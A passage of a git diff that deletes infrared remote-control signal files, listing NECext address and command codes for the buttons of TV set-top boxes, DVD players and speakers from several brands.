parsed -protocol: NECext -address: 86 7C 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 19 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 1E 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir deleted file mode 100644 index 1288bd839..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: TEXT/PIP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: GUIDE/A-B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 43 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 45 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 46 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir deleted file mode 100644 index 8b4dcdea4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 22 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 23 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 24 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 25 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2C 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 33 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: AB -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 56 00 00 00 -# -name: CUSTOM0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 60 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 61 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir deleted file mode 100644 index a0cc85aba..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BLUE -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 03 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 04 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 05 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 06 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 07 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 08 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0C 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0D 00 00 00 -# -name: PG+ -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 10 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 11 00 00 00 -# -name: PG- -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 12 00 00 00 -# -name: TV/R -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 13 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 14 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 15 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 16 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 17 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 18 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 19 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1B 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 40 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 42 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 44 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 45 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 46 00 00 00 -# -name: SUB -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 48 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 4A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 4C 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 4D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 4E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 50 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 51 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 52 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 54 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 55 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 56 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 58 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 59 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir deleted file mode 100644 index a6a76e9ce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0A 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0B 00 00 00 -# -name: MAIL -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0C 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0D 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0E 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0F 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 10 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 11 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 12 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 13 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 14 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 15 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 16 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 18 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 19 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1A 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1B 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 40 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 41 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 42 00 00 00 -# -name: TTX -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 43 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 44 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 45 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 46 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 48 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 4C 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 50 00 00 00 -# -name: P+ -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 51 00 00 00 -# -name: P- -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 52 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 54 00 00 00 -# -name: OPT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 55 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 58 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 61 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 62 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 63 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 64 00 00 00 -# -name: SUB -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 65 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 67 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir deleted file mode 100644 index c28331771..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 02 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 06 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 0A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 0B 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 0D 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 0E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 10 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 13 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 16 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 19 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 1C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 1D 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 1E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 1F 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 40 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 80 77 00 00 -command: 41 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir deleted file mode 100644 index 64dd45ccb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: N/P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: CRAP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_3D -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: RAN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: R/L -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir deleted file mode 100644 index 5f97c2801..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SPK+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 00 00 00 00 -# -name: SPK- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 04 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: SPK -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0D 00 00 00 -# -name: S.BASS -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 10 00 00 00 -# -name: EQ+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 11 00 00 00 -# -name: 